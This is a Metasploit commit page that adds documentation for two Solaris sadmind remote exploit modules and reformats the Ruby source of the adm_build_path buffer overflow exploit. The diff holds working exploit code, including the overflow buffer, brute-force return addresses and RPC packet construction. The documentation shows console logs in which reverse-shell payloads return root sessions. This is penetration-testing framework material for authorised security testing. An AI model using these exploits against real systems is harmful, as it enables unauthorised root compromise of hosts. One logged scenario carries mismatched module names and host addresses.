Skip to content

Commit 37136b8

Browse files
adfoster-r7adfoster-r7
authored
Merge pull request rapid7#20068 from bcoles/exploits-solaris-sadmind
exploit/solaris/sunrpc/sadmind_*: Cleanup and add documentation
2 parents 62cbb79 + 1da0ebf commit 37136b8

File tree

4 files changed

+278
-115
lines changed

4 files changed

+278
-115
lines changed

‎documentation/modules/exploit/solaris/sunrpc/sadmind_adm_build_path.md‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This module exploits a buffer overflow vulnerability in `adm_build_path()`
4+
function of Sun Solstice AdminSuite sadmind daemon.
5+
6+
The distributed system administration daemon (sadmind) is the daemon used by
7+
Solstice AdminSuite applications to perform distributed system administration
8+
operations.
9+
10+
The sadmind daemon is started automatically by the inetd daemon whenever a
11+
request to invoke an operation is received. The sadmind daemon process
12+
continues to run for 15 minutes after the last request is completed, unless a
13+
different idle-time is specified with the -i command line option. The sadmind
14+
daemon may be started independently from the command line, for example, at
15+
system boot time. In this case, the -i option has no effect; sadmind continues
16+
to run, even if there are no active requests.
17+
18+
This module has been successfully tested on:
19+
20+
* Solaris 9u2 12/02 (x86);
21+
* Solaris 9u7 09/04 (x86);
22+
* Solaris 9u8 09/05 (x86).
23+
24+
25+
## Verification Steps
26+
27+
1. Start `msfconsole`
28+
1. Do: `use exploit/solaris/sunrpc/sadmind_adm_build_path`
29+
1. Do: `set rhosts [rhost]`
30+
1. Do: `exploit`
31+
1. You should get a new session as the `root` user.
32+
33+
34+
## Options
35+
36+
37+
## Scenarios
38+
39+
### Solaris 9u2 12/02 s9x_u2wos_10 (x86)
40+
41+
```
42+
msf6 > use exploit/solaris/sunrpc/sadmind_exec
43+
msf6 exploit(solaris/sunrpc/sadmind_exec) > set rhosts 192.168.200.155
44+
rhosts => 192.168.200.148
45+
msf6 exploit(solaris/sunrpc/sadmind_exec) > set payload generic/shell_reverse_tcp
46+
payload => generic/shell_reverse_tcp
47+
msf6 exploit(solaris/sunrpc/sadmind_exec) > run
48+
[*] Started reverse TCP handler on 192.168.200.130:4444
49+
[*] 192.168.200.155:111 - Creating nop block...
50+
[*] 192.168.200.155:111 - Trying to exploit sadmind with address 0x08062030...
51+
[-] 192.168.200.155:111 - 192.168.200.155:111 - SunRPC - No response to SunRPC call for procedure: 1
52+
[*] 192.168.200.155:111 - Trying to exploit sadmind with address 0x08069830...
53+
[-] 192.168.200.155:111 - 192.168.200.155:111 - SunRPC - No response to SunRPC call for procedure: 1
54+
[*] 192.168.200.155:111 - Trying to exploit sadmind with address 0x08071030...
55+
[-] 192.168.200.155:111 - 192.168.200.155:111 - SunRPC - No response to SunRPC call for procedure: 1
56+
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.155:32842) at 2025-04-21 08:18:47 -0400
57+
58+
id
59+
uid=0(root) gid=0(root)
60+
uname -a
61+
SunOS unknown 5.9 Generic_112234-03 i86pc i386 i86pc
62+
cat /etc/release
63+
Solaris 9 12/02 s9x_u2wos_10 x86
64+
Copyright 2002 Sun Microsystems, Inc. All Rights Reserved.
65+
Use is subject to license terms.
66+
Assembled 05 November 2002
67+
```

‎documentation/modules/exploit/solaris/sunrpc/sadmind_exec.md‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
This exploit targets a weakness in the default security settings of
4+
the Sun Solstice AdminSuite distributed system administration daemon
5+
(sadmind) RPC application. This server is installed and enabled by
6+
default on most versions of the Solaris operating system.
7+
8+
Vulnerable systems include Solaris 2.7, 8, and 9.
9+
10+
This module has been successfully tested on:
11+
12+
* Solaris 8 02/00 (x86);
13+
* Solaris 8u1 06/00 (x86);
14+
* Solaris 8u2 10/00 (x86);
15+
* Solaris 8u3 01/01 (x86);
16+
* Solaris 8u4 04/01 (x86);
17+
* Solaris 9u2 12/02 (x86).
18+
19+
20+
## Verification Steps
21+
22+
1. Start `msfconsole`
23+
1. Do: `use exploit/solaris/sunrpc/sadmind_exec`
24+
1. Do: `set rhosts [rhost]`
25+
1. Do: `exploit`
26+
1. You should get a new session as the `root` user.
27+
28+
29+
## Options
30+
31+
### HOSTNAME
32+
33+
Remote hostname. The hostname will be detected automatically by default;
34+
however, using the automatically detected hostname will fail if the system
35+
hostname was changed after the sadmind service was started.
36+
37+
### GID
38+
39+
GID to emulate (default: `0`)
40+
41+
### UID
42+
43+
UID to emulate (default: `0`)
44+
45+
46+
## Scenarios
47+
48+
### Solaris 8u1 06/00 s28x_u1wos_08 INTEL (x86)
49+
50+
```
51+
msf6 > use exploit/solaris/sunrpc/sadmind_exec
52+
msf6 exploit(solaris/sunrpc/sadmind_exec) > set rhosts 192.168.200.148
53+
rhosts => 192.168.200.148
54+
msf6 exploit(solaris/sunrpc/sadmind_exec) > set payload cmd/unix/reverse_perl
55+
payload => cmd/unix/reverse_perl
56+
msf6 exploit(solaris/sunrpc/sadmind_exec) > run
57+
[*] Started reverse TCP handler on 192.168.200.130:4444
58+
[*] 192.168.200.148:111 - Attempting to determine hostname
59+
[*] 192.168.200.148:111 - Found hostname: unknown
60+
[*] 192.168.200.148:111 - Sending payload (234 bytes)
61+
[+] 192.168.200.148:111 - Exploit did not give us an error, this is good.
62+
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.148:32810) at 2025-04-21 01:38:08 -0400
63+
64+
id
65+
uid=0(root) gid=0(root)
66+
uname -a
67+
SunOS unknown 5.8 Generic_108529-01 i86pc i386 i86pc
68+
cat /etc/release
69+
Solaris 8 6/00 s28x_u1wos_08 INTEL
70+
Copyright 2000 Sun Microsystems, Inc. All Rights Reserved.
71+
Assembled 28 April 2000
72+
```

‎modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb‎

Lines changed: 65 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -10,89 +10,99 @@ class MetasploitModule < Msf::Exploit::Remote
1010
include Msf::Exploit::Brute
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
15-
'Description' => %q{
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
17+
'Description' => %q{
1618
This module exploits a buffer overflow vulnerability in adm_build_path()
17-
function of sadmind daemon.
18-
19-
The distributed system administration daemon (sadmind) is the daemon used by
20-
Solstice AdminSuite applications to perform distributed system administration
21-
operations.
22-
23-
The sadmind daemon is started automatically by the inetd daemon whenever a
24-
request to invoke an operation is received. The sadmind daemon process
25-
continues to run for 15 minutes after the last request is completed, unless a
26-
different idle-time is specified with the -i command line option. The sadmind
27-
daemon may be started independently from the command line, for example, at
28-
system boot time. In this case, the -i option has no effect; sadmind continues
29-
to run, even if there are no active requests.
30-
},
31-
'Author' =>
32-
[
19+
function of Sun Solstice AdminSuite sadmind daemon.
20+
21+
The distributed system administration daemon (sadmind) is the daemon used by
22+
Solstice AdminSuite applications to perform distributed system administration
23+
operations.
24+
25+
The sadmind daemon is started automatically by the inetd daemon whenever a
26+
request to invoke an operation is received. The sadmind daemon process
27+
continues to run for 15 minutes after the last request is completed, unless a
28+
different idle-time is specified with the -i command line option. The sadmind
29+
daemon may be started independently from the command line, for example, at
30+
system boot time. In this case, the -i option has no effect; sadmind continues
31+
to run, even if there are no active requests.
32+
},
33+
'Author' => [
3334
'Ramon de C Valle',
3435
'Adriano Lima <adriano[at]risesecurity.org>',
3536
],
36-
'Arch' => ARCH_X86,
37-
'Platform' => 'solaris',
38-
'References' =>
39-
[
37+
'Arch' => ARCH_X86,
38+
'Platform' => 'solaris',
39+
'References' => [
4040
['CVE', '2008-4556'],
4141
['OSVDB', '49111'],
42-
['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
42+
['URL', 'https://web.archive.org/web/20081201000000*/https://risesecurity.org/advisories/RISE-2008001.txt'],
4343
],
44-
'Privileged' => true,
45-
'License' => MSF_LICENSE,
46-
'Payload' =>
47-
{
44+
'Privileged' => true,
45+
'License' => MSF_LICENSE,
46+
'Payload' => {
4847
'Space' => 1024,
49-
'BadChars' => "\x00",
48+
'BadChars' => "\x00"
5049
},
51-
'Targets' =>
52-
[
50+
'Targets' => [
5351
[
5452
'Sun Solaris 9 x86 Brute Force',
5553
{
56-
'Arch' => [ ARCH_X86 ],
57-
'Platform' => 'solaris',
58-
'Nops' => 1024 * 32,
54+
'Arch' => [ ARCH_X86 ],
55+
'Platform' => 'solaris',
56+
'Nops' => 1024 * 32,
5957
'Bruteforce' =>
6058
{
6159
'Start' => { 'Ret' => 0x08062030 },
62-
'Stop' => { 'Ret' => 0x08072030 },
63-
'Step' => 1024 * 30,
60+
'Stop' => { 'Ret' => 0x08072030 },
61+
'Step' => 1024 * 30
6462
}
6563
}
6664
],
6765
[
6866
'Sun Solaris 9 x86',
6967
{
70-
'Nops' => 1024 * 4,
68+
'Nops' => 1024 * 4,
7169
'Bruteforce' =>
7270
{
7371
'Start' => { 'Ret' => 0x08066a60 + 2048 },
74-
'Stop' => { 'Ret' => 0x08066a60 + 2048 },
75-
'Step' => 1,
72+
'Stop' => { 'Ret' => 0x08066a60 + 2048 },
73+
'Step' => 1
7674
}
7775
}
7876
],
7977
[
8078
'Debug',
8179
{
82-
'Nops' => 1024 * 4,
80+
'Nops' => 1024 * 4,
8381
'Bruteforce' =>
8482
{
8583
'Start' => { 'Ret' => 0xaabbccdd },
86-
'Stop' => { 'Ret' => 0xaabbccdd },
87-
'Step' => 1,
84+
'Stop' => { 'Ret' => 0xaabbccdd },
85+
'Step' => 1
8886
}
8987
}
9088
],
9189
],
92-
'DefaultTarget' => 0,
93-
'DisclosureDate' => '2008-10-14'
94-
))
90+
'DefaultTarget' => 0,
91+
'DisclosureDate' => '2008-10-14',
92+
'Notes' => {
93+
'Stability' => [CRASH_SERVICE_RESTARTS],
94+
'Reliability' => [REPEATABLE_SESSION],
95+
'SideEffects' => [IOC_IN_LOGS]
96+
}
97+
)
98+
)
99+
end
95100

101+
def check
102+
port = sunrpc_create('udp', 100232, 10)
103+
port.nil? ? CheckCode::Safe : CheckCode::Detected
104+
ensure
105+
sunrpc_destroy unless rpcobj.nil?
96106
end
97107

98108
def brute_exploit(brute_target)
@@ -112,19 +122,20 @@ def brute_exploit(brute_target)
112122
end
113123
end
114124

115-
print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])
125+
print_status('Trying to exploit sadmind with address 0x%.8x...' % brute_target['Ret'])
116126

117127
hostname = 'localhost'
118128

119129
# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
120-
buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
130+
buf1 = 'A' * 1017 + [brute_target['Ret']].pack('L')
121131
buf2 = @nops + payload.encoded
122132

123-
header =
124-
Rex::Encoder::XDR.encode(0) * 7 +
125-
Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
126-
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
127-
hostname, 'system', rand_text_alpha(16))
133+
header = Rex::Encoder::XDR.encode(0) * 7
134+
header << Rex::Encoder::XDR.encode(
135+
6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
136+
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
137+
hostname, 'system', rand_text_alpha(16)
138+
)
128139

129140
body =
130141
do_int('ADM_FW_VERSION', 1) +
@@ -151,9 +162,8 @@ def brute_exploit(brute_target)
151162
rescue Rex::Proto::SunRPC::RPCError => e
152163
print_error(e.to_s)
153164
end
154-
155-
sunrpc_destroy
156-
handler
165+
ensure
166+
sunrpc_destroy unless rpcobj.nil?
157167
end
158168

159169
def do_string(str1, str2)

0 commit comments

Comments
 (0)